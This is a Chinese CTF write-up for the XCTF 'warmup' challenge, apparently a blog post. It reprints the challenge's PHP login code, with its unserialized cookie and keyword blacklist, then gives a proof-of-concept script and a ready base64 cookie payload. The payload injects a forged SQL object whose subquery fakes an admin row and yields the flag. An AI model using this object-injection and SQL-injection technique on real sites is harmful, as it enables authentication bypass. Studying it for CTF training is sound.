xctf warmup SQL注入

xctf warmup

下载附件
index.php:

<!doctype html>
<html><head><meta charset="utf-8"><title>平平无奇的登陆界面</title>
</head>
<style type="text/css">body {margin: 0;padding: 0;font-family: sans-serif;background: url("static/background.jpg");/*背景图片自定义*/background-size: cover;}.box {position: absolute;top: 50%;left: 50%;transform: translate(-50%, -50%);width: 400px;padding: 40px;background: rgba(0, 0, 0, .8);box-sizing: border-box;box-shadow: 0 15px 25px rgba(0, 0, 0, .5);border-radius: 10px;/*登录窗口边角圆滑*/}.box h2 {margin: 0 0 30px;padding: 0;color: #fff;text-align: center;}.box .inputBox {position: relative;}.box .inputBox input {width: 100%;padding: 10px 0;font-size: 16px;color: #fff;letter-spacing: 1px;margin-bottom: 30px;/*输入框设置*/border: none;border-bottom: 1px solid #fff;outline: none;background: transparent;}.box .inputBox label {position: absolute;top: 0;left: 0;padding: 10px 0;font-size: 16px;color: #fff;pointer-events: none;transition: .5s;}.box .inputBox input:focus~label,.box .inputBox input:valid~label {top: -18px;left: 0;color: #03a9f4;font-size: 12px;}.box input[type="submit"] {background: transparent;border: none;outline: none;color: #fff;background: #03a9f4;padding: 10px 20px;cursor: pointer;border-radius: 5px;}
</style><body><div class="box"><h2>请登录</h2><form method="post" action="index.php"><div class="inputBox"><input type="text" name="username" required=""><label>用户名</label></div><div class="inputBox"><input type="password" name="password" required=""><label>密码</label></div><input type="submit" name="" value="登录"></form></div>
</body></html><?php
include 'conn.php';
include 'flag.php';if (isset ($_COOKIE['last_login_info'])) {$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));try {if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {die('WAF info: your ip status has been changed, you are dangrous.');}} catch(Exception $e) {die('Error');}
} else {$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}if(isset($_POST['username']) && isset($_POST['password'])){$table = 'users';$username = addslashes($_POST['username']);$password = addslashes($_POST['password']);$sql = new SQL();$sql->connect();$sql->table = $table;$sql->username = $username;$sql->password = $password;$sql->check_login();
}?>

index.php上面全是css，没什么好看的。php部分，接收cookie的last_login_info参数，base64解码后反序列化。
把原来的last_login_info拿去base64解码也可以看到，其实内容就是一个ip
这里不用管ip，die了就跳出cookie判断，反正last_login_info已经反序列化了
再下面的就是接收post来的参数，addslashes过滤后进行sql查询。sql查询的具体步骤的conn.php

<?php
include 'flag.php';class SQL {public $table = '';public $username = '';public $password = '';public $conn;public function __construct() {}public function connect() {$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");}public function check_login(){$result = $this->query();if ($result === false) {die("database error, please check your input");}$row = $result->fetch_assoc();if($row === NULL){die("username or password incorrect!");}else if($row['username'] === 'admin'){$flag = file_get_contents('flag.php');echo "welcome, admin! this is your flag -> ".$flag;}else{echo "welcome! but you are not admin";}$result->free();}public function query() {$this->waf();return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");}public function waf(){$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];foreach ($blacklist as $value) {if(strripos($this->table, $value)){die('bad hacker,go out!');}}foreach ($blacklist as $value) {if(strripos($this->username, $value)){die('bad hacker,go out!');}}foreach ($blacklist as $value) {if(strripos($this->password, $value)){die('bad hacker,go out!');}}}public function __wakeup(){if (!isset ($this->conn)) {$this->connect ();}if($this->table){$this->waf();}$this->check_login();$this->conn->close();}}
?>

其实就是一个黑名单过滤，拼好query后进行sql查询。在index.php，向last_login_info传入SQL对象后，new SQL()则会直接指向恶意对象从而SQL注入。

POC：

<?phpclass SQL {public $table = "(select 'admin' username,'anything' password)a";public $username = "admin";public $password = 'anything';public $conn;public function __construct() {}public function connect() {$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");}}
$a = new SQL();
$b = serialize($a);
echo base64_encode($b);
?>

拼好的sql语句为：select username,password from (select ‘admin’ username,‘anything’ password)a where username=‘admin’ and password=‘anything’;
其中表为(select ‘admin’ username,‘anything’ password)a会创建一个虚拟表a，字段username对应admin，字段password对应anything。查询的时候就是从表a查询，肯定能查到admin用户。从而进入if判断

payload:TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDY6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnYW55dGhpbmcnIHBhc3N3b3JkKWEiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6ODoiYW55dGhpbmciO3M6NDoiY29ubiI7Tjt9

be624fe7-c0a4-4031-bf9b-9a6f761483ef

xctf warmup SQL注入相关推荐

Xctf练习sql注入--supersqli
三种方法方法一 =1 回显正常 =1'回显不正常,报sql语法错误 =1' --+ 回显正常,说明有sql注入点,应该是字符型注入(# 不能用) =1' order by 3 --+ 回显失败,说明 ...
php mysql 防 sql注入_php 防sql注入方法
php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...
resultset mysql_MySQL数据库学习笔记（九）----JDBC的ResultSet接口（查询操作）、PreparedStatement接口重构增删改查（含SQL注入的解释）...
[声明] 欢迎转载,但请保留文章原始出处→_→ [正文] 一.ResultSet接口的介绍: 对数据库的查询操作,一般需要返回查询结果,在程序中,JDBC为我们提供了ResultSet接口来专门处理查 ...
mybaits的模糊查询_mybatis模糊查询防止SQL注入（很详细）
SQL注入,大家都不陌生,是一种常见的攻击方式.攻击者在界面的表单信息或URL上输入一些奇怪的SQL片段(例如"or '1'='1'"这样的语句),有可能入侵参数检验不足的应用程序 ...
SQL注入漏洞全接触--入门篇
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
Sql注入和Html注入
举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如: hello word!!!! 不过,这个代码原来有漏洞.一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过 ...
mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考，具体如下：问题解读我觉得，这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈，...
本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...
【数据库】兴唐第二十七节课只sql注入
首先来一个用户登录程序 public static void login(String username, String password) {Connection conn = null;State ...
雷林鹏分享：MySQL 及 SQL 注入
MySQL 及 SQL 注入如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

xctf warmup SQL注入

xctf warmup

xctf warmup SQL注入相关推荐

最新文章

热门文章